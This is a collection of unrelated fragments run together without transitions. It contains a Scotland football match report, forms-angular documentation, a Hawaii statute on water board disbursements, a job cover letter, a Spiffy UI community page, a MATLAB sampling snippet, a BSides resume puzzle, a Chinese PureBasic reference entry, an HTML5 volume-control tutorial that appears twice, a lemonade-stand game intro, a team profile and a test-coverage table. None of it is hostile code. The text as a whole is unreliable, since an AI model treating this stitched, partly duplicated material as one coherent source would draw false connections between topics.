“John is the man scoring the goals right now and hopefully we’ll get one or two more that can to that as well.
“But we’ve found a good position for John. He’s playing it very well.
"Him and Steven Naismith are developing a decent understanding and as well as the goals they give us a good early press and the desire to meet the opposition high up the pitch which helps us.”
Scotland fell behind to a strike from Baktiyor Zainutdinov before McGinn levelled early in the second half to become the first Scotland player to score in three successive games since James McFadden in 2007.
Naismith then fired Clarke’s men ahead after 64 minutes before McGinn grabbed his second.
Clarke said: “I thought the performance was good in the first half and really good in the second half.
“We knew if we made mistakes in possession, Kazakhstan could hurt us on the counter-attack which they did when they took the lead.
“But it was a great reaction, in the second half particularly.
“We played a lot of good stuff and created a lot of chances. Nine shots on target is good. It’s another win, three in a row. The boys are feeling good about themselves.
“Football is a 95 or 97 minute game and you have to build into the game. We managed to up the tempo at the start of the second half.
“We moved the ball a little bit quicker, got behind them better and created more chances.”
Scotland will now play Bulgaria, Hungary, Israel or Romania in the play-off semi-final on March 26, with the draw on Friday.
The final four days later would be against either Norway or Serbia.
Clarke added: “With this group of players, I can be very optimistic about the play-offs.
“They are 100 per cent committed to their country and desperate to get to a major finals.
“It will be nice to have a little bit of clarity, so we can start planning for the March games.”


var PersonSchema = new Schema({ surname: {type:String, required:true, index:true}, forename: {type:String, index:true}, weight: Number, eyeColour: {type: String, required:true, enum:['Blue','Brown','Green','Hazel']}, dateOfBirth: Date, accepted: Boolean });
(though you will find it easier to start with the sample example or follow the build an app instructions to understand how they fit in)
var DataFormHandler = new (require('data_form.js'))(app) DataFormHandler.addResource('Person',require('person_schema.js')) <form-input ng-repeat="field in formSchema" info="{{field}}"></form-input>
forms-angular is a form builder build on top of the MEAN stack (with a little Twitter Bootstrap and Mongoose thrown in for good measure) that enables you to generate forms super quickly. At its simplest it takes a mongoose schema and with no effort on your part generates a form, complete with REST routing and bindings.
All the input forms in the demo application use a very simple one line view (the third line of code above) which generates the forms on the client using the Mongoose schemas, optionally fine-tuned by hand.
This demo application uses the models in the table below. Have a look at a schema or two and then click on the new link to see the forms that are generated by them.
| {{model.resource_name | titleCase}} | View schema | New | List |
For those who want to see the gory detail the forms and the buttons are generated by directives and the schema processing / behaviour is handled by a controller. The library currently weighs in at 17.3Kb minimised (obviously the ui dependencies and angular itself add substantially to that).
For each model the following routes are supported:
It is easy to create custom form schemas which are a subset of the whole schema by specifying the fields to include and any options. See the static in this example. The custom form schemas are invoked as follows:
The mark-up of generated forms can be influenced by use of the form object in the schema type. The form object can have the following keys:
The listing routes (of the format /#/:model) are used to build a page containing a list of documents in the collection, showing the fields that have a truthy list key. If none of the schema objects have a list key the first two string fields are used.
Listing routes support filters, such as
/#/b_using_options?f={"surname":"Smith"}
and calls to the aggregation framework, provided they project to an array of docs that contains an _id property which is used to select from the model. For example the (rather unpalatable)
/#/f_nested_schema?a=[{"$unwind":"$exams"},{"$sort":{"exams.score":1}},{"$group":{"_id":{"id":"$_id"},"bestSubject":{"$last":"$exams.subject"}}},{"$match":{"bestSubject":"English"}},{"$project":{"_id":"$_id.id"}}]
selects all students who did better in their English exam than any other subject. To find out how to use the aggregation framework refer to the MongoDB docs.
These can be combined (though there appears to be a problem unless the filter precedes the aggregation).
By default the list order is the MongoDB natural order. The default list order for a table can be set by specifying a listOrder option in the model definition (see g_conditional_fields for an example).
The Angular controllers make use of the following API calls:
It is easy to incorporate a simple search form, as shown in the Navbar. When you enter text into it the SearchCtrl controller makes a call to the server which looks for matching data by searching the indexed fields in each model for values starting with the search string. There are other search API calls as shown below:
There are a number of options that can be added to model exports to modify the search behaviour. Examples can be found in the model definitions files for f_nested_schema and g_conditional_fields.
The menu can be added to where required by the models (see an example here) The options can be configured to appear when records are being listed, edited or created.
The form-input directive broadcasts a formInputDone message when it has processed a control. This can be acted on by the model controller. In our example we add a change handler to a select2 control which changes background color of a control group when the eye colour is changed.


§54-62 Disbursement of funds. All moneys expended by the board of water supply pursuant to this part shall be disbursed by the county treasurer on vouchers signed by the chairperson or acting chairperson of the board. [L 1949, c 86, §12; RL 1955, §146-111; HRS §54-62; gen ch 1993]


| beatrice aispuro | 12 . 22 . 09 |
|
Gail, Lisa, and Maureen: Thank you for the opportunity to talk with you today about the possibilities at Athens State University. I am excited to learn more about potential collaborations on a contract basis or in a teaching capacity; sharing what I have learned throughout my career as webmaster, designer, and entrepreneur. I received my Bachelor of Arts degree from California State University, Long Beach in Journalism, Public Relations, and Spanish in 1991 and completed coursework at Art Center College of Design in 1997. Throughout my fifteen-year career, I have been involved in the planning and management of hundreds of outstanding design and outreach projects. I have extensive experience designing print and web collateral and re-branding corporate identities. I have developed successful marketing and outreach campaigns, and produced numerous web sites. In addition to superior research and analytical skills, I am capable of managing multiple projects and delivering quality work while meeting deadlines successfully. As the first webmaster and designer at Caltech, I collaborated extensively with staff and faculty in creating and developing promotional material, both online and in print. I served as designer and editor of the original Caltech Alumni Newsletter, supervised staff and also taught classes in design. As a native Spanish speaker, I translated documents and facilitated bilingual discussions for geologists conducting research in Mexico. I translated several storefront sites (MLB/Copeland's/Victory) into Spanish. I believe my web skills, my project management experience, and my design sense as it applies to typography, photography, and creative imagery will be a valuable asset to your group. I have always enjoyed being a part of collaborative projects, and I feel that I could contribute a lot of energy and enthusiasm toward the work assigned me. Below are several links to my designs (some show before & after). Thanks again for your time. I look forward to meeting up with you after the holidays. Enjoy!! |
||
Kind regards, |
Fountain of Youth Ads/Branding |
|


Spiffy UI is an open source project with a supportive community. We welcome coders, testers, documenters, and anyone else with ideas, suggestions, feedback, or any type of help for the project.
The best place to start is our Google Code page, where you'll find source code, groups, and information about contributing to the project.
The easiest way to get involved is to give us some feedback. Have a great idea for a new feature? A cool way of getting something done? Let us know about it on the Spiffy UI Google Group.
Another great way to help out is to talk about us on Twitter, Facebook, and any other social sharing service. The more people who know about Spiffy UI, the stronger our community will become.
For special bonus points, use the #spiffyui hashtag when you talk about us on Twitter.
If you like Spiffy UI and use it in your project, we would love to hear about it. Write an article about Spiffy UI and we'll link to it from our project home page.
If you find bugs, we want to hear about them and fix them. Please file a bug report on our issue tracker and let us know what you find.
Not sure if something is a bug? You can ask about it on the Spiffy UI Google Group.
Can you sling code like a pro? Help us out with Spiffy UI. We're always happy to take patches, bug fixes, and new features.
Take a look at the Spiffy UI Community Guide to see the processes for editing and submitting code to Spiffy UI. We also keep a list of Spiffy UI project for new users.


% Rejection sampling from a Gamma distribution % Based on http://users.aims.ac.za/~ioana/cp2.pdf alpha = 5.7; lambda = 2; k = floor(alpha); M = gampdf(alpha-k, alpha, 1/lambda) / ... gampdf(alpha-k, k, 1/(lambda-1)); figure; hold on xs = 0:0.01:10; plot(xs, gampdf(xs,alpha,1/lambda), 'b-','linewidth',3); plot(xs, M*gampdf(xs,k,1/(lambda-1)), 'r:','linewidth',3); legend('target p(x)', 'comparison function Mq(x)') printPmtkFigure('rejectionSamplingDemo')


--- title: "HTML Tidy Accessibility Checker" category: accessibility extralink: "/documentation" extraname: "Documentation" --- {% include page_generator.html %}


This text follows H1
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This is Christopher Wells' entry for the BSides RoC's 2017 Résumélee competition.
I have taken my resume, encrypted it, and broken it up into pieces. In order to get a copy of it you must find each of the pieces, put them back together and decrypt them.
In order to make it easier to find the resume parts, I have given you a terminal interface that you can use to locate them. However, you will have to be able to answer some questions in order to learn where the peices are located.
(If you don't feel like answering the questions, there are some *other* ways to find the pieces, certainly don't look at output.js
)
Once you have gathered all of the pieces, you will need to piece them back together and decrypt them. I will provide you with a program that will do this, and the password.
(You could try doing this without the program for a more interesting challenge, be sure not to look at the *source code on GitHub*)
The locations of the file parts are hidden in files in the terminal. The terminal has support for several different commands, including cd
,ls
, and cat
. Enter help
to see a full list of supported commands.
The terminal directories contain questions that you must answer. Each answer corresponds to a subdirectory that you can enter to move onto the next question or get a part file location. You can find the questions in the QUESTION
files that are placed in the difference directories.
Look out for fake file parts if you get a question wrong. Some wrong answers are dead-ends, while others will give convincing fake file parts.
Note that the cd
command only supports moving by one directory at a time, and does not support absolute directories.


NextElement()
语法
Result = NextElement(List())概要
Moves from the current element to the next element in the list, or onto the first element if you have previously called ResetList()
参数
List() The name of your list variable, created with the NewList function. You must include the brackets after the list name.
返回值
Returns the address of the data in the next list element if successful and zero if there if there is no next element.
示例
NewList Scores.w() For i=1 To 10 AddElement(Scores()) Scores() = 100 - i Next ResetList(Scores()) While NextElement(Scores()) ; This is OK since the first call to NextElement() will move the current element to the first item in the list MessageRequester("Score", Str(Scores()), #PB_MessageRequester_OK) Wend
参阅
ResetList(), PreviousElement(), FirstElement(), LastElement(), SelectElement(), ListIndex()
已支持操作系统
所有


Another vital piece of functionality for a media player is the ability to control the volume, including the ability to mute it altogether.
To add a volume control, you'll use one of the new HTML5 input types: range. This input type is usually rendered by the browser as a slider, which the user can move from left to right and vice versa, so it's ideal for a volume control.
Another vital piece of functionality for a media player is the ability to control the volume, including the ability to mute it altogether.
To add a volume control, you'll use one of the new HTML5 input types: range. This input type is usually rendered by the browser as a slider, which the user can move from left to right and vice versa, so it's ideal for a volume control.


Hi! Welcome to Lemonsville, California!
In this small town, you are in charge of running your own lemonade stand. You can compete with as many other people as you wish, but how much profit you make is up to you. If you make the most money, you're the winner!
Are you starting a new game?
New Game
Are you sure you want to quit?
Press enter to quit, space to return to game...


Test Team
Manager
Ella
Employee ID:
123
Office Number:
124
Email:
<EMAIL_ADDRESS>Engineer
Gemma
Employee ID:
125
GitHub:
github.com/gemmac-coder
Email:
<EMAIL_ADDRESS>Intern
Terry
Employee ID:
127
School:
University of Birmingham
E-mail:
terry@codeworks.co.uk


| AbstractAisBStaticDataReport (100%) |
| AisAidToNavigation (41%) |
| AisBStaticDataReportPartA (39%) |
| AisBStaticDataReportPartB (54%) |
| AisBaseStation (100%) |
| AisExtractor (81%) |
| AisExtractorFactory (N/A) |
| AisMessage (N/A) |
| AisMessageOther (100%) |
| AisMessageParser (96%) |
| AisMessageType (100%) |
| AisNmeaBuffer (98%) |
| AisNmeaMessage (93%) |
| AisParseException (100%) |
| AisPosition (N/A) |
| AisPositionA (92%) |
| AisPositionB (54%) |
| AisPositionBExtended (64%) |
| AisPositionGPS (45%) |
| AisShipStatic (N/A) |
| AisShipStaticA (96%) |
| AisShipStaticUtil (0%) |
| AtonTypeDecoder (100%) |
| Cache (0%) |
| Clock (N/A) |
| Communications (100%) |
| CraftProperties (95%) |
| CraftProperty (47%) |
| CraftPropertyName (100%) |
| FileFactory (N/A) |
| FileFactoryPerDay (100%) |
| HasCommunications (N/A) |
| HasMmsi (N/A) |
| HostPort (0%) |
| Internationalization (100%) |
| LineAndTime (100%) |
| MariwebSslConnectMain (0%) |
| Mmsi (39%) |
| MmsiValidator2 (0%) |
| NavigationalStatus (100%) |
| NmeaMessage (93%) |
| NmeaMessageExactEarthTimestamp (100%) |
| NmeaMessageParseException (100%) |
| NmeaMessageParser (97%) |
| NmeaReader (N/A) |
| NmeaReaderFromInputStream (100%) |
| NmeaReaderFromSocket (100%) |
| NmeaSaver (67%) |
| NmeaStreamProcessor (98%) |
| NmeaStreamProcessorListener (N/A) |
| NmeaUtil (96%) |
| OperatorCraftPropertAggregator (0%) |
| OperatorCraftProperty (65%) |
| RxUtil (0%) |
| ShipTypeDecoder (88%) |
| SixBit (92%) |
| SixBitException (100%) |
| SocketReaderRunnable (0%) |
| Streams (30%) |
| SystemClock (0%) |
| Talker (100%) |
| Timestamped (100%) |
| Util (57%) |